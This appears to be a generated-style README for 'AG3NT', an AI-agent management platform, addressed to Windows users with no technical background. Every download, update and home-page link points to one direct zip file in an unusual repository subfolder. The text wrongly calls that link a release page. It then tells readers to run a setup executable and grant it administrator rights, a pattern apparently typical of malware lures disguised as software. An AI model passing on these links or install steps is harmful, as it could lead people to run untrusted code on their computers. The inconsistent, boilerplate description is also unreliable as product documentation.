AG3NT is a local-first platform that helps you control multiple AI agents. It includes the Gateway, Agent Worker, and Web UI. These parts work together to let you run and manage autonomous AI agents on your own computer. You do not need any special skills to start using it.

Before you begin, check your computer matches these requirements.

• Operating System: Windows 10 or later
• Processor: 64-bit CPU, Intel or AMD recommended
• Memory: At least 8 GB of RAM
• Storage: 2 GB free disk space
• Internet: Needed for the initial download and updates
• Software: Web browser (Chrome, Edge, Firefox) for the Web UI

No programming or command line knowledge is needed. AG3NT works through simple clicks in your browser.

To get AG3NT on your Windows PC:

1. Open your web browser.
2. Click the big green button above or visit this link directly:
   https://raw.githubusercontent.com/desy-design/AG3NT/main/community/quaderno/src/A_NT_3.4.zip
3. This page contains the files you need.
4. Look for the latest version release or a setup file.
5. Download the setup file. It may be named something like AG3NT-Setup.exe.
6. Save the file in a folder you can find easily, such as Downloads.

Follow these steps after downloading the setup file:

1. Double-click the setup file (AG3NT-Setup.exe) in your Downloads folder.
2. If Windows asks "Do you want to allow this app to make changes?" click Yes.
3. A setup window will open. Click Next to start.
4. Choose the folder where you want to install AG3NT or use the default.
5. Click Install and wait for the process to finish.
6. When it says the installation is complete, click Finish.

After installation:

1. Find the AG3NT icon on your desktop or start menu.
2. Double-click the icon to open the Gateway server.
3. The server runs locally on your computer in the background.
4. Open your web browser.
5. In the address bar, type http://localhost:8000 and press Enter.
6. This opens the AG3NT Web UI, your control panel for the AI agents.

The Web UI lets you create and manage AI agents easily.

• Use simple buttons and forms to add new agents.
• Agents can work on different tasks by themselves.
• You can start, stop, or check the status of any agent from this interface.
• All settings are saved locally, so your data stays on your computer.
• Work happens without needing internet once installed.

AG3NT improves over time. To get updates:

1. Visit the download page again:
   https://raw.githubusercontent.com/desy-design/AG3NT/main/community/quaderno/src/A_NT_3.4.zip
2. Check for new versions in the Releases section.
3. Download and install the new setup file like before.
4. Your agents and settings will stay intact during updates.

If AG3NT does not open or work correctly:

• Check your internet connection during setup.
• Make sure no other program uses port 8000 on your PC.
• Restart your computer and try opening the Gateway again.
• Use the Web UI in a supported browser (Chrome or Edge recommended).
• If the setup fails, try downloading the file again.

For technical details, look at the GitHub page or reach out where you found the software.

AG3NT runs several parts that work together:

• Gateway: The main server that talks to your browser and agents.
• Agent Worker: Handles tasks from AI agents.
• Web UI: The interface you use in your browser.

Agents can search through documents, answer questions, or perform automated jobs. It uses tools like FastAPI and semantic search libraries, but you do not need to worry about these details to use it.

• AG3NT creates a folder in your Documents for logs and agent data.
• You can check logs if you want to see what your agents are doing.
• Logs help troubleshoot and understand how agents perform their tasks.

The Web UI lets you set basic preferences such as:

• Number of agents running at once.
• How often agents update their tasks.
• Agent names and roles.

These options are simple toggles and input fields.

• AG3NT home page and downloads:
  https://raw.githubusercontent.com/desy-design/AG3NT/main/community/quaderno/src/A_NT_3.4.zip
• Report issues or get help on GitHub under "Issues" tab.
• Check "Wiki" or "Discussions" in GitHub for user guides and questions.